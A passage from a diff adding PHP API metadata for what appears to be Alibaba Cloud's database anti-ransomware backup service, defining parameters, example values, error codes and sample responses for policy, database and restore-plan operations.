08:04:36', + ], + 'RestoreInfo' => [ + 'description' => '恢复数据库类型为MSSQL时，数据库恢复信息。格式为JSON字符串格式，取值：'."\n" + .'- **name**：数据库名称'."\n" + .'- **files**：数据库文件路径', + 'type' => 'string', + 'example' => '{'."\n" + .' "files": {'."\n" + .' "qtc": "F:\\\\database\\\\qtc.mdf",'."\n" + .' "qtc_log": "F:\\\\database\\\\qtc_0.ldf"'."\n" + .' },'."\n" + .' "name": "qtc"'."\n" + .'}', + ], + 'FirstTime' => [ + 'description' => '开始备份的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671468180000', + ], + 'ResetScn' => [ + 'description' => '针对Oracle数据库查询备份时，对应查询可恢复的时间点中所选择记录的**reset_scn**值。', + 'type' => 'string', + 'example' => '4529940.0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760****\\",\\n \\"Database\\": \\"msdb\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 23,\\n \\"Count\\": 20,\\n \\"RecoverableInfoList\\": [\\n {\\n \\"LastTime\\": 1671468180000,\\n \\"ResetTime\\": 0,\\n \\"RestoreInfo\\": \\"{\\\\n \\\\\\"files\\\\\\": {\\\\n \\\\\\"qtc\\\\\\": \\\\\\"F:\\\\\\\\\\\\\\\\database\\\\\\\\\\\\\\\\qtc.mdf\\\\\\",\\\\n \\\\\\"qtc_log\\\\\\": \\\\\\"F:\\\\\\\\\\\\\\\\database\\\\\\\\\\\\\\\\qtc_0.ldf\\\\\\"\\\\n },\\\\n \\\\\\"name\\\\\\": \\\\\\"qtc\\\\\\"\\\\n}\\",\\n \\"FirstTime\\": 1671468180000,\\n \\"ResetScn\\": \\"4529940.0\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询可恢复数据库备份列表', + ], + 'DescribeUniBackupPolicyDetail' => [ + 'summary' => '查询数据库防勒索备份策略详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasA0IBMB', + ], + ], + 'parameters' => [ + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的ID。'."\n" + .'>调用[DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760****', + ], + 'UniBackupPolicyDTO' => [ + 'description' => '数据库防勒索备份策略的详细信息。', + 'type' => 'object', + 'properties' => [ + 'PolicyStatus' => [ + 'description' => '数据库防勒索备份策略状态，取值：'."\n" + ."\n" + .'- **initiating**：初始化中'."\n" + .'- **opening**：开启'."\n" + .'- **closing**：关闭'."\n" + .'- **deleting**：删除中', + 'type' => 'string', + 'example' => 'opening', + ], + 'DatabaseType' => [ + 'description' => '数据库类型，取值如下：'."\n" + ."\n" + .'- **MYSQL**'."\n" + .'- **MSSQL**'."\n" + .'- **Oracle**', + 'type' => 'string', + 'example' => 'ORACLE', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'sql-test-01', + ], + 'Retention' => [ + 'description' => '备份快照保留天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'SpeedLimiter' => [ + 'description' => '备份网络带宽限制。单位为字节。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '5242880', + ], + 'PolicyName' => [ + 'description' => '数据库防勒索备份策略的名称。', + 'type' => 'string', + 'example' => 'auto_test_sql', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'i-2zefcy2id5d60m9t****', + ], + 'PolicyId' => [ + 'description' => '数据库防勒索备份策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'AgentStatus' => [ + 'description' => '数据库客户端代理的状态。取值包括：'."\n" + .'- **UNKNOWN**：未知'."\n" + .'- **INSTALLED**：已安装'."\n" + .'- **INSTALL_FAILED**：安装失败'."\n" + .'- **UNINSTALL_FAILED**：卸载失败', + 'type' => 'string', + 'example' => 'INSTALLED', + ], + 'AccountName' => [ + 'description' => '数据库账户名称。', + 'type' => 'string', + 'example' => 'admin', + ], + 'FullPlan' => [ + 'description' => '全量备份策略详情。', + 'type' => 'object', + 'properties' => [ + 'StartTime' => [ + 'description' => '全量备份开始时间。格式：hh:mm:ss。', + 'type' => 'string', + 'example' => '00:10:00', + ], + 'PlanType' => [ + 'description' => '间隔周期单位，取值如下：'."\n" + ."\n" + .'- **hourly**：小时'."\n" + .'- **daily**：天'."\n" + .'- **weekly**：周', + 'type' => 'string', + 'example' => 'daily', + ], + 'Interval' => [ + 'description' => '间隔周期。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Days' => [ + 'description' => '周中执行日期集合。', + 'type' => 'array', + 'items' => [ + 'description' => '周中执行日期。'."\n" + ."\n" + .'- **0**：周日'."\n" + .'- **1**：周一'."\n" + .'- **2**：周二'."\n" + .'- **3**：周三'."\n" + .'- **4**：周四'."\n" + .'- **5**：周五'."\n" + .'- **6**：周六', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + 'IncPlan' => [ + 'description' => '增量备份策略。', + 'type' => 'object', + 'properties' => [ + 'StartTime' => [ + 'description' => '增量备份开始时间。格式：hh:mm:ss。', + 'type' => 'string', + 'example' => '00:10:00', + ], + 'PlanType' => [ + 'description' => '间隔周期单位，取值如下：'."\n" + ."\n" + .'- **hourly**：小时'."\n" + .'- **daily**：天'."\n" + .'- **weekly**：周', + 'type' => 'string', + 'example' => 'daily', + ], + 'Interval' => [ + 'description' => '间隔周期。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Days' => [ + 'description' => '周中执行日期集合。', + 'type' => 'array', + 'items' => [ + 'description' => '周中执行日期。'."\n" + ."\n" + .'- **0**：周日'."\n" + .'- **1**：周一'."\n" + .'- **2**：周二'."\n" + .'- **3**：周三'."\n" + .'- **4**：周四'."\n" + .'- **5**：周五'."\n" + .'- **6**：周六', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760****\\",\\n \\"UniBackupPolicyDTO\\": {\\n \\"PolicyStatus\\": \\"opening\\",\\n \\"DatabaseType\\": \\"ORACLE\\",\\n \\"InstanceName\\": \\"sql-test-01\\",\\n \\"Retention\\": 7,\\n \\"SpeedLimiter\\": 5242880,\\n \\"PolicyName\\": \\"auto_test_sql\\",\\n \\"InstanceId\\": \\"i-2zefcy2id5d60m9t****\\",\\n \\"PolicyId\\": 123,\\n \\"AgentStatus\\": \\"INSTALLED\\",\\n \\"AccountName\\": \\"admin\\",\\n \\"FullPlan\\": {\\n \\"StartTime\\": \\"00:10:00\\",\\n \\"PlanType\\": \\"daily\\",\\n \\"Interval\\": 2,\\n \\"Days\\": [\\n \\"0\\"\\n ]\\n },\\n \\"IncPlan\\": {\\n \\"StartTime\\": \\"00:10:00\\",\\n \\"PlanType\\": \\"daily\\",\\n \\"Interval\\": 2,\\n \\"Days\\": [\\n \\"0\\"\\n ]\\n }\\n }\\n}","type":"json"}]', + 'title' => '查询数据库防勒索策略详情', + ], + 'DescribeUniBackupPolicies' => [ + 'summary' => '查询数据库防勒索策略列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'PolicyName', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'auto_oracle_Hpm', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BR****', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的数据库防勒索策略的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据库防勒索策略的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '当前页面显示的数据库防勒索策略的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'UniBackupPolicies' => [ + 'description' => '数据库防勒索备份策略集合。', + 'type' => 'array', + 'items' => [ + 'description' => '数据库防勒索备份策略信息。', + 'type' => 'object', + 'properties' => [ + 'PolicyStatus' => [ + 'description' => '数据库防勒索备份策略状态，取值：'."\n" + ."\n" + .'- **initiating**：初始化中'."\n" + .'- **opening**：开启中'."\n" + .'- **closing**：关闭中'."\n" + .'- **deleting**：删除中'."\n" + .'- **enabled**：已启用'."\n" + .'- **disabled**：已禁用', + 'type' => 'string', + 'example' => 'opening', + ], + 'ErrorMessage' => [ + 'description' => '备份策略的错误信息。', + 'type' => 'string', + 'example' => 'AttachRamRoleError', + ], + 'LatestBackResult' => [ + 'description' => '最新备份计划执行结果。', + 'type' => 'string', + 'example' => 'completed', + ], + 'UniRegionId' => [ + 'description' => '数据库服务器所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'PlanStatus' => [ + 'description' => '备份计划状态，取值如下：'."\n" + ."\n" + .'- **init**：初始化中'."\n" + .'- **running**：执行中'."\n" + .'- **completed**：执行完成'."\n" + .'- **restoring**：恢复中'."\n" + .'- **creating**：创建中'."\n" + .'- **created**：创建成功', + 'type' => 'string', + 'example' => 'creating', + ], + 'InstanceUuid' => [ + 'description' => '服务器数据库备份客户端唯一标识。', + 'type' => 'string', + 'example' => 'cf1bcad4063f11ed800000163e0e****', + ], + 'PolicyName' => [ + 'description' => '数据库防勒索备份策略的名称。', + 'type' => 'string', + 'example' => 'auto_oracle_37f', + ], + 'AgentErrorMessage' => [ + 'description' => '客户端异常错误信息。', + 'type' => 'string', + 'example' => 'INSTALL_TIMEOUT', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-9dp7mubt5wit6g0h****', + ], + 'AgentStatus' => [ + 'description' => '数据库客户端代理的状态。取值包括：'."\n" + .'- **UNKNOWN**：未知'."\n" + .'- **INSTALLED**：已安装'."\n" + .'- **INSTALL_FAILED**：安装失败'."\n" + .'- **UNINSTALL_FAILED**：卸载失败', + 'type' => 'string', + 'example' => 'INSTALLED', + ], + 'DatabaseType' => [ + 'description' => '数据库类型，取值如下：'."\n" + ."\n" + .'- **MYSQL**'."\n" + .'- **MSSQL**'."\n" + .'- **Oracle**', + 'type' => 'string', + 'example' => 'MYSQL', + ], + 'ErrorCode' => [ + 'description' => '备份计划执行失败返回错误Code信息。', + 'type' => 'string', + 'example' => 'EXPIRED', + ], + 'DatabaseName' => [ + 'description' => '数据库名称。', + 'type' => 'string', + 'example' => 'abc123', + ], + 'InstanceName' => [ + 'description' => '服务器实例名称。', + 'type' => 'string', + 'example' => 'sql-test-001', + ], + 'LatestBackupTime' => [ + 'description' => '最新备份计划执行时间。', + 'type' => 'string', + 'example' => '2022-01-01 00:00:11', + ], + 'InstanceStatus' => [ + 'description' => 'ECS实例状态。取值：'."\n" + ."\n" + .'- **Stopped**：已停止'."\n" + .'- **Running**：运行中', + 'type' => 'string', + 'example' => 'Running', + ], + 'PolicyId' => [ + 'description' => '数据库防勒索备份策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BR****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n },\\n \\"UniBackupPolicies\\": [\\n {\\n \\"PolicyStatus\\": \\"opening\\",\\n \\"ErrorMessage\\": \\"AttachRamRoleError\\",\\n \\"LatestBackResult\\": \\"completed\\",\\n \\"UniRegionId\\": \\"cn-hangzhou\\",\\n \\"PlanStatus\\": \\"creating\\",\\n \\"InstanceUuid\\": \\"cf1bcad4063f11ed800000163e0e****\\",\\n \\"PolicyName\\": \\"auto_oracle_37f\\",\\n \\"AgentErrorMessage\\": \\"INSTALL_TIMEOUT\\",\\n \\"InstanceId\\": \\"i-9dp7mubt5wit6g0h****\\",\\n \\"AgentStatus\\": \\"INSTALLED\\",\\n \\"DatabaseType\\": \\"MYSQL\\",\\n \\"ErrorCode\\": \\"EXPIRED\\",\\n \\"DatabaseName\\": \\"abc123\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"LatestBackupTime\\": \\"2022-01-01 00:00:11\\",\\n \\"InstanceStatus\\": \\"Running\\",\\n \\"PolicyId\\": 123\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询防勒索策略', + ], + 'DescribeUniBackupDatabase' => [ + 'summary' => '查询数据库防护策略中数据库的详细信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'InstanceName', + 'in' => 'query', + 'schema' => [ + 'description' => 'ECS实例名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'DatabaseType', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库类型，取值如下：'."\n" + ."\n" + .'- **MYSQL**'."\n" + .'- **MSSQL**'."\n" + .'- **Oracle**', + 'type' => 'string', + 'required' => false, + 'example' => 'MYSQL', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'QueryType', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库查询类型，取值：'."\n" + ."\n" + .'- **create**：新建'."\n" + .'- **restore**：恢复', + 'type' => 'string', + 'required' => false, + 'example' => 'create', + ], + ], + [ + 'name' => 'UniRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库服务器所在的地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hongkong', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的数据库的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据库的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '25', + ], + 'Count' => [ + 'description' => '当前页面显示的数据库的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'DatabaseList' => [ + 'description' => '数据库详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '数据库详情。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => 'ECS实例状态。取值：'."\n" + ."\n" + .'- **Stopped**：已停止'."\n" + .'- **Running**：运行中', + 'type' => 'string', + 'example' => 'Running', + ], + 'DatabaseType' => [ + 'description' => '数据库类型，取值如下：'."\n" + ."\n" + .'- **MYSQL**'."\n" + .'- **MSSQL**'."\n" + .'- **Oracle**', + 'type' => 'string', + 'example' => 'MYSQL', + ], + 'DatabaseVersion' => [ + 'description' => '数据库版本。', + 'type' => 'string', + 'example' => '12.0.4100.1', + ], + 'DatabaseName' => [ + 'description' => '数据库名称。', + 'type' => 'string', + 'example' => 'apns_tt180', + ], + 'InstanceName' => [ + 'description' => '数据库所属实例名称。', + 'type' => 'string', + 'example' => 'sql-test-001', + ], + 'InstanceUuid' => [ + 'description' => '服务器数据库备份客户端唯一标识。', + 'type' => 'string', + 'example' => '85878b284df911ec800000163e19****', + ], + 'CreatedByProduct' => [ + 'description' => '数据库的创建方式。取值：'."\n" + .'- **HBR**：云备份'."\n" + .'- **AEGIS**：云安全中心', + 'type' => 'string', + 'example' => 'AEGIS', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-bp15aho9hhftvmhw****', + ], + 'PolicyId' => [ + 'description' => '数据库防勒索备份策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'AgentStatus' => [ + 'description' => '数据库客户端代理的状态。取值包括：'."\n" + .'- **UNKNOWN**：未知'."\n" + .'- **INSTALLED**：已安装'."\n" + .'- **INSTALL_FAILED**：安装失败'."\n" + .'- **UNINSTALL_FAILED**：卸载失败', + 'type' => 'string', + 'example' => 'INSTALLED', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 25,\\n \\"Count\\": 20\\n },\\n \\"DatabaseList\\": [\\n {\\n \\"Status\\": \\"Running\\",\\n \\"DatabaseType\\": \\"MYSQL\\",\\n \\"DatabaseVersion\\": \\"12.0.4100.1\\",\\n \\"DatabaseName\\": \\"apns_tt180\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"InstanceUuid\\": \\"85878b284df911ec800000163e19****\\",\\n \\"CreatedByProduct\\": \\"AEGIS\\",\\n \\"InstanceId\\": \\"i-bp15aho9hhftvmhw****\\",\\n \\"PolicyId\\": 123,\\n \\"AgentStatus\\": \\"INSTALLED\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询防勒索数据库', + ], + 'DescribeRestorePlans' => [ + 'summary' => '查询防勒索恢复任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'InstanceName', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sql-test-001', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '备份计划状态。取值包括：'."\n" + .'- **init**：初始化中'."\n" + .'- **created**：创建中'."\n" + .'- **running**：执行中'."\n" + .'- **completed**：执行成功'."\n" + .'- **error**：执行失败'."\n" + .'- **restoring**：恢复中', + 'type' => 'string', + 'required' => false, + 'example' => 'running', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的备份恢复任务的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的备份恢复任务的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '33', + ], + 'Count' => [ + 'description' => '当前页面显示的备份恢复任务的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'RestorePlans' => [ + 'description' => '恢复任务的集合。', + 'type' => 'array', + 'items' => [ + 'description' => '恢复任务的详细信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '备份计划状态。取值包括：'."\n" + .'- **init**：初始化中'."\n" + .'- **created**：创建中'."\n" + .'- **running**：执行中'."\n" + .'- **completed**：执行成功'."\n" + .'- **error**：执行失败'."\n" + .'- **restoring**：恢复中', + 'type' => 'string', + 'example' => 'running', + ], + 'RestorePoint' => [ + 'description' => '恢复时间点。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '165875100****', + ], + 'UpdatedTime' => [ + 'description' => '备份任务最后更新的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '166849080****', + ], + 'DatabaseName' => [ + 'description' => '数据库的名称。', + 'type' => 'string', + 'example' => 'Bankup****', + ], + 'InstanceName' => [ + 'description' => '恢复服务器实例的名称。', + 'type' => 'string', + 'example' => 'sql-test-001', + ], + 'TargetInstanceName' => [ + 'description' => '目标服务器实例名称。', + 'type' => 'string', + 'example' => 'hbr-detection-hh', + ], + 'TargetDatabaseName' => [ + 'description' => '目标数据库名称。', + 'type' => 'string', + 'example' => 'OABak', + ], + 'PolicyName' => [ + 'description' => '数据库防勒索备份策略的名称。', + 'type' => 'string', + 'example' => 'KtDataBase', + ], + 'PolicyId' => [ + 'description' => '数据库防勒索备份策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'TargetInstanceId' => [ + 'description' => '目标服务器实例ID。', + 'type' => 'string', + 'example' => 'i-2zehqflgbl9ep2he****', + ], + 'CreatedTime' => [ + 'description' => '创建恢复任务的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1655174753****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 33,\\n \\"Count\\": 20\\n },\\n \\"RestorePlans\\": [\\n {\\n \\"Status\\": \\"running\\",\\n \\"RestorePoint\\": 0,\\n \\"UpdatedTime\\": 0,\\n \\"DatabaseName\\": \\"Bankup****\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"TargetInstanceName\\": \\"hbr-detection-hh\\",\\n \\"TargetDatabaseName\\": \\"OABak\\",\\n \\"PolicyName\\": \\"KtDataBase\\",\\n \\"PolicyId\\": 123,\\n \\"TargetInstanceId\\": \\"i-2zehqflgbl9ep2he****\\",\\n \\"CreatedTime\\": 0\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询防勒索恢复任务', + ], + 'DeleteUniBackupPolicy' => [ + 'summary' => '删除数据库防勒索策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的ID。'."\n" + .'>调用[DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~)接口可以获取该参数，与**PolicyIds**参数不能同时为空。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'PolicyIds', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的ID集合。'."\n" + .'>调用[DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~)接口可以获取该参数，与**PolicyId**参数不能同时为空。', + 'type' => 'string', + 'required' => false, + 'example' => '123,124', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4F07F4F1-88ED-5569-B519-FFCC9B7E****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4F07F4F1-88ED-5569-B519-FFCC9B7E****\\"\\n}","type":"json"}]', + 'title' => '删除数据库防勒索策略', + ], + 'CreateUniRestorePlan' => [ + 'summary' => '创建数据库防勒索恢复任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + ], + 'parameters' => [ + [ + 'name' => 'TimePoint', + 'in' => 'query', + 'schema' => [ + 'description' => '恢复时间点。'."\n" + .'>调用[DescribeRestorePlans](~~DescribeRestorePlans~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1656957664000', + ], + ], + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的ID。'."\n" + .'>调用[DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'Database', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'qtc', + ], + ], + [ + 'name' => 